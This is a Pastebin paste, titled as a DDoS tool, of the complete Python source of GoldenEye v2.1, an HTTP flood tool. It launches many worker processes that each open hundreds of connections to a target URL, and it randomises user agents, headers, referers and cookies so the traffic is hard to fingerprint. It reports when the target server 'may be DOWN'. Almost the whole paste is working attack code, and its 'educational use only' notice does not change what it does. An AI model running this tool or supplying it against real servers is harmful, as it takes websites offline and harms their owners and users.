Advertisement
Lulz-Tigre

Golden_eye_Ddoser

Jul 10th, 2016
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 19.45 KB | None | 0 0
  1.  jseidl / GoldenEye
  2. goldeneye.py
  3.  
  4. #!/usr/bin/env python
  5.  
  6. """
  7. $Id: $
  8.     /$$$$$$            /$$       /$$                     /$$$$$$$$                    
  9.    /$$__  $$          | $$      | $$                    | $$_____/                    
  10.   | $$  \__/  /$$$$$$ | $$  /$$$$$$$  /$$$$$$  /$$$$$$$ | $$       /$$   /$$  /$$$$$$
  11.   | $$ /$$$$ /$$__  $$| $$ /$$__  $$ /$$__  $$| $$__  $$| $$$$$   | $$  | $$ /$$__  $$
  12.   | $$|_  $$| $$  \ $$| $$| $$  | $$| $$$$$$$$| $$  \ $$| $$__/   | $$  | $$| $$$$$$$$
  13.   | $$  \ $$| $$  | $$| $$| $$  | $$| $$_____/| $$  | $$| $$      | $$  | $$| $$_____/
  14.   |  $$$$$$/|  $$$$$$/| $$|  $$$$$$$|  $$$$$$$| $$  | $$| $$$$$$$$|  $$$$$$$|  $$$$$$$
  15.    \______/  \______/ |__/ \_______/ \_______/|__/  |__/|________/ \____  $$ \_______/
  16.                                                                     /$$  | $$          
  17.                                                                    |  $$$$$$/          
  18.                                                                     \______/          
  19.                                                                                                                                                                                                      
  20. This tool is a dos tool that is meant to put heavy load on HTTP servers
  21. in order to bring them to their knees by exhausting the resource pool.
  22. This tool is meant for research purposes only
  23. and any malicious usage of this tool is prohibited.
  24. @author Jan Seidl <http://wroot.org/>
  25. @date 2014-02-18
  26. @version 2.1
  27. @TODO Test in python 3.x
  28. LICENSE:
  29. This software is distributed under the GNU General Public License version 3 (GPLv3)
  30. LEGAL NOTICE:
  31. THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
  32. IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
  33. THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
  34. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
  35. """
  36.  
  37. from multiprocessing import Process, Manager, Pool
  38. import urlparse, ssl
  39. import sys, getopt, random, time, os
  40.  
  41. # Python version-specific
  42. if  sys.version_info < (3,0):
  43.     # Python 2.x
  44.     import httplib
  45.     HTTPCLIENT = httplib
  46. else:
  47.     # Python 3.x
  48.     import http.client
  49.     HTTPCLIENT = http.client
  50.  
  51. ####
  52. # Config
  53. ####
  54. DEBUG = False
  55.  
  56. ####
  57. # Constants
  58. ####
  59. METHOD_GET  = 'get'
  60. METHOD_POST = 'post'
  61. METHOD_RAND = 'random'
  62.  
  63. JOIN_TIMEOUT=1.0
  64.  
  65. DEFAULT_WORKERS=10
  66. DEFAULT_SOCKETS=500
  67.  
  68. GOLDENEYE_BANNER = 'GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>'
  69.  
  70. USER_AGENT_PARTS = {
  71.     'os': {
  72.         'linux': {
  73.             'name': [ 'Linux x86_64', 'Linux i386' ],
  74.             'ext': [ 'X11' ]
  75.         },
  76.         'windows': {
  77.             'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ],
  78.             'ext': [ 'WOW64', 'Win64; x64' ]
  79.         },
  80.         'mac': {
  81.             'name': [ 'Macintosh' ],
  82.             'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ]
  83.         },
  84.     },
  85.     'platform': {
  86.         'webkit': {
  87.             'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ],
  88.             'details': [ 'KHTML, like Gecko' ],
  89.             'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ]
  90.         },
  91.         'iexplorer': {
  92.             'browser_info': {
  93.                 'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ],
  94.                 'ext_pre': [ 'compatible', 'Windows; U' ],
  95.                 'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ]
  96.                  }
  97.         },
  98.         'gecko': {
  99.             'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ],
  100.             'details': [],
  101.             'extensions': []
  102.         }
  103.     }
  104. }
  105.  
  106. ####
  107. # GoldenEye Class
  108. ####
  109.  
  110. class GoldenEye(object):
  111.  
  112.     # Counters
  113.     counter = [0, 0]
  114.     last_counter = [0, 0]
  115.  
  116.     # Containers
  117.     workersQueue = []
  118.     manager = None
  119.     useragents = []
  120.  
  121.     # Properties
  122.     url = None
  123.  
  124.     # Options
  125.     nr_workers = DEFAULT_WORKERS
  126.     nr_sockets = DEFAULT_SOCKETS
  127.     method = METHOD_GET
  128.  
  129.     def __init__(self, url):
  130.  
  131.         # Set URL
  132.         self.url = url
  133.  
  134.         # Initialize Manager
  135.         self.manager = Manager()
  136.  
  137.         # Initialize Counters
  138.         self.counter = self.manager.list((0, 0))
  139.  
  140.  
  141.     def exit(self):
  142.         self.stats()
  143.         print "Shutting down GoldenEye"
  144.  
  145.     def __del__(self):
  146.         self.exit()
  147.  
  148.     def printHeader(self):
  149.  
  150.         # Taunt!
  151.         print
  152.         print GOLDENEYE_BANNER
  153.         print
  154.  
  155.     # Do the fun!
  156.     def fire(self):
  157.  
  158.         self.printHeader()
  159.         print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets)
  160.  
  161.         if DEBUG:
  162.             print "Starting {0} concurrent workers".format(self.nr_workers)
  163.  
  164.         # Start workers
  165.         for i in range(int(self.nr_workers)):
  166.  
  167.             try:
  168.  
  169.                 worker = Striker(self.url, self.nr_sockets, self.counter)
  170.                 worker.useragents = self.useragents
  171.                 worker.method = self.method
  172.  
  173.                 self.workersQueue.append(worker)
  174.                 worker.start()
  175.             except (Exception):
  176.                 error("Failed to start worker {0}".format(i))
  177.                 pass
  178.  
  179.         if DEBUG:
  180.             print "Initiating monitor"
  181.         self.monitor()
  182.  
  183.     def stats(self):
  184.  
  185.         try:
  186.             if self.counter[0] > 0 or self.counter[1] > 0:
  187.  
  188.                 print "{0} GoldenEye strikes deferred. ({1} Failed)".format(self.counter[0], self.counter[1])
  189.  
  190.                 if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
  191.                     print "\tServer may be DOWN!"
  192.    
  193.                 self.last_counter[0] = self.counter[0]
  194.                 self.last_counter[1] = self.counter[1]
  195.         except (Exception):
  196.             pass # silently ignore
  197.  
  198.     def monitor(self):
  199.         while len(self.workersQueue) > 0:
  200.             try:
  201.                 for worker in self.workersQueue:
  202.                     if worker is not None and worker.is_alive():
  203.                         worker.join(JOIN_TIMEOUT)
  204.                     else:
  205.                         self.workersQueue.remove(worker)
  206.  
  207.                 self.stats()
  208.  
  209.             except (KeyboardInterrupt, SystemExit):
  210.                 print "CTRL+C received. Killing all workers"
  211.                 for worker in self.workersQueue:
  212.                     try:
  213.                         if DEBUG:
  214.                             print "Killing worker {0}".format(worker.name)
  215.                         #worker.terminate()
  216.                         worker.stop()
  217.                     except Exception, ex:
  218.                         pass # silently ignore
  219.                 if DEBUG:
  220.                     raise
  221.                 else:
  222.                     pass
  223.  
  224. ####
  225. # Striker Class
  226. ####
  227.  
  228. class Striker(Process):
  229.  
  230.        
  231.     # Counters
  232.     request_count = 0
  233.     failed_count = 0
  234.  
  235.     # Containers
  236.     url = None
  237.     host = None
  238.     port = 80
  239.     ssl = False
  240.     referers = []
  241.     useragents = []
  242.     socks = []
  243.     counter = None
  244.     nr_socks = DEFAULT_SOCKETS
  245.  
  246.     # Flags
  247.     runnable = True
  248.  
  249.     # Options
  250.     method = METHOD_GET
  251.  
  252.     def __init__(self, url, nr_sockets, counter):
  253.  
  254.         super(Striker, self).__init__()
  255.  
  256.         self.counter = counter
  257.         self.nr_socks = nr_sockets
  258.  
  259.         parsedUrl = urlparse.urlparse(url)
  260.  
  261.         if parsedUrl.scheme == 'https':
  262.             self.ssl = True
  263.  
  264.         self.host = parsedUrl.netloc.split(':')[0]
  265.         self.url = parsedUrl.path
  266.  
  267.         self.port = parsedUrl.port
  268.  
  269.         if not self.port:
  270.             self.port = 80 if not self.ssl else 443
  271.  
  272.  
  273.         self.referers = [
  274.             'http://www.google.com/',
  275.             'http://www.bing.com/',
  276.             'http://www.baidu.com/',
  277.             'http://www.yandex.com/',
  278.             'http://' + self.host + '/'
  279.             ]
  280.  
  281.  
  282.     def __del__(self):
  283.         self.stop()
  284.  
  285.  
  286.     #builds random ascii string
  287.     def buildblock(self, size):
  288.         out_str = ''
  289.  
  290.         _LOWERCASE = range(97, 122)
  291.         _UPPERCASE = range(65, 90)
  292.         _NUMERIC   = range(48, 57)
  293.  
  294.         validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  295.  
  296.         for i in range(0, size):
  297.             a = random.choice(validChars)
  298.             out_str += chr(a)
  299.  
  300.         return out_str
  301.  
  302.  
  303.     def run(self):
  304.  
  305.         if DEBUG:
  306.             print "Starting worker {0}".format(self.name)
  307.  
  308.         while self.runnable:
  309.  
  310.             try:
  311.  
  312.                 for i in range(self.nr_socks):
  313.                
  314.                     if self.ssl:
  315.                         c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
  316.                     else:
  317.                         c = HTTPCLIENT.HTTPConnection(self.host, self.port)
  318.  
  319.                     self.socks.append(c)
  320.  
  321.                 for conn_req in self.socks:
  322.  
  323.                     (url, headers) = self.createPayload()
  324.  
  325.                     method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
  326.  
  327.                     conn_req.request(method.upper(), url, None, headers)
  328.  
  329.                 for conn_resp in self.socks:
  330.  
  331.                     resp = conn_resp.getresponse()
  332.                     self.incCounter()
  333.  
  334.                 self.closeConnections()
  335.                
  336.             except:
  337.                 self.incFailed()
  338.                 if DEBUG:
  339.                     raise
  340.                 else:
  341.                     pass # silently ignore
  342.  
  343.         if DEBUG:
  344.             print "Worker {0} completed run. Sleeping...".format(self.name)
  345.            
  346.     def closeConnections(self):
  347.         for conn in self.socks:
  348.             try:
  349.                 conn.close()
  350.             except:
  351.                 pass # silently ignore
  352.            
  353.  
  354.     def createPayload(self):
  355.  
  356.         req_url, headers = self.generateData()
  357.  
  358.         random_keys = headers.keys()
  359.         random.shuffle(random_keys)
  360.         random_headers = {}
  361.        
  362.         for header_name in random_keys:
  363.             random_headers[header_name] = headers[header_name]
  364.  
  365.         return (req_url, random_headers)
  366.  
  367.     def generateQueryString(self, ammount = 1):
  368.  
  369.         queryString = []
  370.  
  371.         for i in range(ammount):
  372.  
  373.             key = self.buildblock(random.randint(3,10))
  374.             value = self.buildblock(random.randint(3,20))
  375.             element = "{0}={1}".format(key, value)
  376.             queryString.append(element)
  377.  
  378.         return '&'.join(queryString)
  379.            
  380.    
  381.     def generateData(self):
  382.  
  383.         returnCode = 0
  384.         param_joiner = "?"
  385.  
  386.         if len(self.url) == 0:
  387.             self.url = '/'
  388.  
  389.         if self.url.count("?") > 0:
  390.             param_joiner = "&"
  391.  
  392.         request_url = self.generateRequestUrl(param_joiner)
  393.  
  394.         http_headers = self.generateRandomHeaders()
  395.  
  396.  
  397.         return (request_url, http_headers)
  398.  
  399.     def generateRequestUrl(self, param_joiner = '?'):
  400.  
  401.         return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
  402.  
  403.     def getUserAgent(self):
  404.  
  405.         if self.useragents:
  406.             return random.choice(self.useragents)
  407.  
  408.         # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions]
  409.  
  410.         ## Mozilla Version
  411.         mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6
  412.  
  413.         ## System And Browser Information
  414.         #Choose random OS
  415.         os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())]
  416.         os_name = random.choice(os['name'])
  417.         sysinfo = os_name
  418.  
  419.         # Choose random platform
  420.         platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())]
  421.  
  422.         # Get Browser Information if available
  423.         if 'browser_info' in platform and platform['browser_info']:
  424.             browser = platform['browser_info']
  425.  
  426.             browser_string = random.choice(browser['name'])
  427.  
  428.             if 'ext_pre' in browser:
  429.                 browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)
  430.  
  431.             sysinfo = "%s; %s" % (browser_string, sysinfo)
  432.  
  433.             if 'ext_post' in browser:
  434.                 sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))
  435.  
  436.  
  437.         if 'ext' in os and os['ext']:
  438.             sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))
  439.  
  440.         ua_string = "%s (%s)" % (mozilla_version, sysinfo)
  441.  
  442.         if 'name' in platform and platform['name']:
  443.             ua_string = "%s %s" % (ua_string, random.choice(platform['name']))
  444.  
  445.         if 'details' in platform and platform['details']:
  446.             ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] )
  447.  
  448.         if 'extensions' in platform and platform['extensions']:
  449.             ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))
  450.  
  451.         return ua_string
  452.  
  453.     def generateRandomHeaders(self):
  454.  
  455.         # Random no-cache entries
  456.         noCacheDirectives = ['no-cache', 'max-age=0']
  457.         random.shuffle(noCacheDirectives)
  458.         nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
  459.         noCache = ', '.join(noCacheDirectives[:nrNoCache])
  460.  
  461.         # Random accept encoding
  462.         acceptEncoding = ['\'\'','*','identity','gzip','deflate']
  463.         random.shuffle(acceptEncoding)
  464.         nrEncodings = random.randint(1,len(acceptEncoding)/2)
  465.         roundEncodings = acceptEncoding[:nrEncodings]
  466.  
  467.         http_headers = {
  468.             'User-Agent': self.getUserAgent(),
  469.             'Cache-Control': noCache,
  470.             'Accept-Encoding': ', '.join(roundEncodings),
  471.             'Connection': 'keep-alive',
  472.             'Keep-Alive': random.randint(1,1000),
  473.             'Host': self.host,
  474.         }
  475.    
  476.         # Randomly-added headers
  477.         # These headers are optional and are
  478.         # randomly sent thus making the
  479.         # header count random and unfingerprintable
  480.         if random.randrange(2) == 0:
  481.             # Random accept-charset
  482.             acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
  483.             random.shuffle(acceptCharset)
  484.             http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
  485.  
  486.         if random.randrange(2) == 0:
  487.             # Random Referer
  488.             url_part = self.buildblock(random.randint(5,10))
  489.  
  490.             random_referer = random.choice(self.referers) + url_part
  491.            
  492.             if random.randrange(2) == 0:
  493.                 random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))
  494.  
  495.             http_headers['Referer'] = random_referer
  496.  
  497.         if random.randrange(2) == 0:
  498.             # Random Content-Trype
  499.             http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
  500.  
  501.         if random.randrange(2) == 0:
  502.             # Random Cookie
  503.             http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
  504.  
  505.         return http_headers
  506. # Housekeeping
  507.     def stop(self):
  508.         self.runnable = False
  509.         self.closeConnections()
  510.         self.terminate()
  511.  
  512.     # Counter Functions
  513.     def incCounter(self):
  514.         try:
  515.             self.counter[0] += 1
  516.         except (Exception):
  517.             pass
  518.  
  519.     def incFailed(self):
  520.         try:
  521.             self.counter[1] += 1
  522.         except (Exception):
  523.             pass
  524.        
  525.  
  526.  
  527. ####
  528.  
  529. ####
  530. # Other Functions
  531. ####
  532.  
  533. def usage():
  534.     print
  535.     print '-----------------------------------------------------------------------------------------------------------'
  536.     print
  537.     print GOLDENEYE_BANNER
  538.     print
  539.     print ' USAGE: ./goldeneye.py <url> [OPTIONS]'
  540.     print
  541.     print ' OPTIONS:'
  542.     print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault'
  543.     print '\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)'
  544.     print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
  545.     print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
  546.     print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\'  or \'random\'\t\t(default: get)'
  547.     print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
  548.     print '\t -h, --help\t\tShows this help'
  549.     print
  550.     print '-----------------------------------------------------------------------------------------------------------'
  551.  
  552.    
  553. def error(msg):
  554.     # print help information and exit:
  555.     sys.stderr.write(str(msg+"\n"))
  556.     usage()
  557.     sys.exit(2)
  558.  
  559. ####
  560. # Main
  561. ####
  562.  
  563. def main():
  564.    
  565.     try:
  566.  
  567.         if len(sys.argv) < 2:
  568.             error('Please supply at least the URL')
  569.  
  570.         url = sys.argv[1]
  571.  
  572.         if url == '-h':
  573.             usage()
  574.             sys.exit()
  575.  
  576.         if url[0:4].lower() != 'http':
  577.             error("Invalid URL supplied")
  578.  
  579.         if url == None:
  580.             error("No URL supplied")
  581.  
  582.         opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:u:", ["debug", "help", "workers", "sockets", "method", "useragents" ])
  583.  
  584.         workers = DEFAULT_WORKERS
  585.         socks = DEFAULT_SOCKETS
  586.         method = METHOD_GET
  587.  
  588.         uas_file = None
  589.         useragents = []
  590.  
  591.         for o, a in opts:
  592.             if o in ("-h", "--help"):
  593.                 usage()
  594.                 sys.exit()
  595.             elif o in ("-u", "--useragents"):
  596.                 uas_file = a
  597.             elif o in ("-s", "--sockets"):
  598.                 socks = int(a)
  599.             elif o in ("-w", "--workers"):
  600.                 workers = int(a)
  601.             elif o in ("-d", "--debug"):
  602.                 global DEBUG
  603.                 DEBUG = True
  604.             elif o in ("-m", "--method"):
  605.                 if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
  606.                     method = a
  607.                 else:
  608.                     error("method {0} is invalid".format(a))
  609.             else:
  610.                 error("option '"+o+"' doesn't exists")
  611.  
  612.  
  613.         if uas_file:
  614.             try:
  615.                 with open(uas_file) as f:
  616.                     useragents = f.readlines()
  617.             except EnvironmentError:
  618.                     error("cannot read file {0}".format(uas_file))
  619.  
  620.         goldeneye = GoldenEye(url)
  621.         goldeneye.useragents = useragents
  622.         goldeneye.nr_workers = workers
  623.         goldeneye.method = method
  624.         goldeneye.nr_sockets = socks
  625.  
  626.         goldeneye.fire()
  627.  
  628.     except getopt.GetoptError, err:
  629.  
  630.         # print help information and exit:
  631.         sys.stderr.write(str(err))
  632.         usage()
  633.         sys.exit(2)
  634.  
  635. if __name__ == "__main__":
  636.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement